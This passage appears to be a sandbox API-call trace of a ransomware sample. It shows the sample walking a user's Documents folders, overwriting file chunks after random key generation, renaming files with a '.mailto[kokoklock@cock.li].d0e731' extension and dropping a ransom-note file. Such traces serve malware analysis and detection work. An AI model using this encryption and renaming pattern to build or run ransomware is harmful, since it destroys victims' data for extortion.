(in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x41652943 [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x29cfc596 [0071.808] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.808] ReadFile (in: hFile=0x7b0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x140bfa60, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x140bfa60*=0x4096, lpOverlapped=0x0) returned 1 [0071.808] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0071.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230b8 [0071.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230b8) returned 1 [0071.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230b8 [0071.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0071.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.809] WriteFile (in: hFile=0x7b0, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x140bfa60, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x140bfa60*=0x4096, lpOverlapped=0x0) returned 1 [0071.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.809] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x14e4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.809] WriteFile (in: hFile=0x7b0, lpBuffer=0x34230b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x140bfa98, lpOverlapped=0x0 | out: lpBuffer=0x34230b8*, lpNumberOfBytesWritten=0x140bfa98*=0x20, lpOverlapped=0x0) returned 1 [0071.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230b8) returned 1 [0071.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.810] WriteFile (in: hFile=0x7b0, lpBuffer=0x3422e88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x140bfaac, lpOverlapped=0x0 | out: lpBuffer=0x3422e88*, lpNumberOfBytesWritten=0x140bfaac*=0x8, lpOverlapped=0x0) returned 1 [0071.810] WriteFile (in: hFile=0x7b0, lpBuffer=0x140bfac4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x140bfaac, lpOverlapped=0x0 | out: lpBuffer=0x140bfac4*, lpNumberOfBytesWritten=0x140bfaac*=0x4, lpOverlapped=0x0) returned 1 [0071.810] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x140bfaac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x140bfaac*=0x4, lpOverlapped=0x0) returned 1 [0071.810] WriteFile (in: hFile=0x7b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x140bfaac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x140bfaac*=0x6c, lpOverlapped=0x0) returned 1 [0071.810] WriteFile (in: hFile=0x7b0, lpBuffer=0x3423130*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x140bfaac, lpOverlapped=0x0 | out: lpBuffer=0x3423130*, lpNumberOfBytesWritten=0x140bfaac*=0x20, lpOverlapped=0x0) returned 1 [0071.810] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x140bfaac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x140bfaac*=0x4, lpOverlapped=0x0) returned 1 [0071.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.810] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e88) returned 1 [0071.810] CloseHandle (hObject=0x7b0) returned 1 [0071.810] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33c8f68 [0071.810] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx" [0071.810] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731" [0071.810] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\qsq6d.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\qsq6d.docx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.811] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0071.811] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx", dwFileAttributes=0x20) returned 0 [0071.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccd70 [0071.811] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0071.811] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" [0071.811] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\d0e731-readme.txt")) returned 0x20 [0071.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0071.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e340) returned 1 [0071.812] RtlExitUserThread (Status=0x1) Thread: id = 487 os_tid = 0x10b8 [0071.813] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e0a0 [0071.813] wcscpy (in: _Dest=0x347e0a0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" [0071.813] wcscat (in: _Dest=0x347e0a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" [0071.813] wcscat (in: _Dest=0x347e0a0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\*" [0071.813] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342d190 [0071.813] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\*", lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcda6fe0, ftCreationTime.dwHighDateTime=0x1d4c76e, ftLastAccessTime.dwLowDateTime=0x991c0d50, ftLastAccessTime.dwHighDateTime=0x1d4c90c, ftLastWriteTime.dwLowDateTime=0x991c0d50, ftLastWriteTime.dwHighDateTime=0x1d4c90c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433828 [0071.813] wcscmp (_String1=".", _String2=".") returned 0 [0071.813] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcda6fe0, ftCreationTime.dwHighDateTime=0x1d4c76e, ftLastAccessTime.dwLowDateTime=0x991c0d50, ftLastAccessTime.dwHighDateTime=0x1d4c90c, ftLastWriteTime.dwLowDateTime=0x991c0d50, ftLastWriteTime.dwHighDateTime=0x1d4c90c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.814] wcscmp (_String1="..", _String2=".") returned 1 [0071.814] wcscmp (_String1="..", _String2="..") returned 0 [0071.814] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4438da0, ftCreationTime.dwHighDateTime=0x1d4d061, ftLastAccessTime.dwLowDateTime=0xc9f7f7e0, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xc9f7f7e0, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELJOJE-1o", cAlternateFileName="ELJOJE~1")) returned 1 [0071.814] wcscmp (_String1="ELJOJE-1o", _String2=".") returned 1 [0071.814] wcscmp (_String1="ELJOJE-1o", _String2="..") returned 1 [0071.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd5f0 [0071.814] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" [0071.814] wcscat (in: _Dest=0x33cd5f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" [0071.814] wcscat (in: _Dest=0x33cd5f0, _Source="ELJOJE-1o" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" [0072.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cd5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0072.849] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef3a4680, ftCreationTime.dwHighDateTime=0x1d4d1d5, ftLastAccessTime.dwLowDateTime=0x50b2e5d0, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0x50b2e5d0, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x16a97, dwReserved0=0x0, dwReserved1=0x0, cFileName="o0O- EcZYJlSaSo089x.xls", cAlternateFileName="O0O-EC~1.XLS")) returned 1 [0072.849] wcscmp (_String1="o0O- EcZYJlSaSo089x.xls", _String2=".") returned 1 [0072.849] wcscmp (_String1="o0O- EcZYJlSaSo089x.xls", _String2="..") returned 1 [0072.849] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347c458 [0072.849] wcscpy (in: _Dest=0x347c458, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" [0072.849] wcscat (in: _Dest=0x347c458, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" [0072.849] wcscat (in: _Dest=0x347c458, _Source="o0O- EcZYJlSaSo089x.xls" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\o0O- EcZYJlSaSo089x.xls" [0072.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347c458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0072.850] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78462090, ftCreationTime.dwHighDateTime=0x1d4d3ff, ftLastAccessTime.dwLowDateTime=0x46141250, ftLastAccessTime.dwHighDateTime=0x1d4cb5b, ftLastWriteTime.dwLowDateTime=0x46141250, ftLastWriteTime.dwHighDateTime=0x1d4cb5b, nFileSizeHigh=0x0, nFileSizeLow=0x18503, dwReserved0=0x0, dwReserved1=0x0, cFileName="YJffA8aYWK.ods", cAlternateFileName="YJFFA8~1.ODS")) returned 1 [0072.850] wcscmp (_String1="YJffA8aYWK.ods", _String2=".") returned 1 [0072.850] wcscmp (_String1="YJffA8aYWK.ods", _String2="..") returned 1 [0072.850] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347ece8 [0072.850] wcscpy (in: _Dest=0x347ece8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV" [0072.850] wcscat (in: _Dest=0x347ece8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\" [0072.850] wcscat (in: _Dest=0x347ece8, _Source="YJffA8aYWK.ods" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\YJffA8aYWK.ods" [0072.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347ece8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0072.851] FindNextFileW (in: hFindFile=0x3433828, lpFindFileData=0x342d190 | out: lpFindFileData=0x342d190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78462090, ftCreationTime.dwHighDateTime=0x1d4d3ff, ftLastAccessTime.dwLowDateTime=0x46141250, ftLastAccessTime.dwHighDateTime=0x1d4cb5b, ftLastWriteTime.dwLowDateTime=0x46141250, ftLastWriteTime.dwHighDateTime=0x1d4cb5b, nFileSizeHigh=0x0, nFileSizeLow=0x18503, dwReserved0=0x0, dwReserved1=0x0, cFileName="YJffA8aYWK.ods", cAlternateFileName="YJFFA8~1.ODS")) returned 0 [0072.851] FindClose (in: hFindFile=0x3433828 | out: hFindFile=0x3433828) returned 1 [0072.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d190) returned 1 [0072.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e0a0) returned 1 [0072.851] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d90) returned 1 [0072.851] RtlExitUserThread (Status=0x0) Thread: id = 488 os_tid = 0x10d8 [0071.814] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst")) returned 0x2020 [0071.815] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst", dwFileAttributes=0x20) returned 1 [0071.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0071.815] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x141bfb54 | out: lpFileSize=0x141bfb54*=271360) returned 1 [0071.815] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x423fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.815] ReadFile (in: hFile=0x7bc, lpBuffer=0x141bfb28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x141bfb24, lpOverlapped=0x0 | out: lpBuffer=0x141bfb28*, lpNumberOfBytesRead=0x141bfb24*=0x4, lpOverlapped=0x0) returned 1 [0071.816] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e88 [0071.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.816] NtQuerySystemTime (in: CurrentTime=0x141bfb00 | out: CurrentTime=0x141bfb00*=132121176297129195) returned 0x0 [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x128313a4 [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x242a0ea0 [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xf32d2f3f [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x6dfbfd2c [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xee1f795d [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x9ad3544b [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x4edd156f [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xa2d3f3e0 [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xfc54db30 [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x3d923693 [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x85a6851c [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xcb9eee9a [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xbf3f3629 [0071.816] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xd815ccb0 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x3a0b2901 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x47ad7cfe [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x27859532 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xd5b76f31 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x9f94c997 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x207d94a7 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xcd0add17 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x2c7df0bf [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x537fdd5f [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x753b23d6 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xb7e534 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x2383254 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x3c821a93 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x5f0c283d [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0x7f23c469 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xdcb3d63e [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xede49ad6 [0071.817] RtlRandom (in: Seed=0x141bfb0c | out: Seed=0x141bfb0c) returned 0xdbc28951 [0071.828] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.828] ReadFile (in: hFile=0x7bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x141bfac0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x141bfac0*=0x4096, lpOverlapped=0x0) returned 1 [0071.868] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0071.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0071.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e870 [0071.868] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e870) returned 1 [0071.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e730 [0071.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e898 [0071.869] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e898) returned 1 [0071.869] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0071.869] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0071.869] WriteFile (in: hFile=0x7bc, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x141bfac0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x141bfac0*=0x4096, lpOverlapped=0x0) returned 1 [0071.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.873] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.873] ReadFile (in: hFile=0x7bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x141bfac0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x141bfac0*=0x4096, lpOverlapped=0x0) returned 1 [0071.873] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0071.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0071.873] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0071.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e758 [0071.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0071.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0071.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0071.874] WriteFile (in: hFile=0x7bc, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x141bfac0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x141bfac0*=0x4096, lpOverlapped=0x0) returned 1 [0071.875] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.875] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x3e36a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.875] ReadFile (in: hFile=0x7bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x141bfac0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x141bfac0*=0x4096, lpOverlapped=0x0) returned 1 [0071.875] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x3e36a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.875] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0071.875] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0071.875] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e7d0 [0071.875] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e7d0) returned 1 [0071.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, 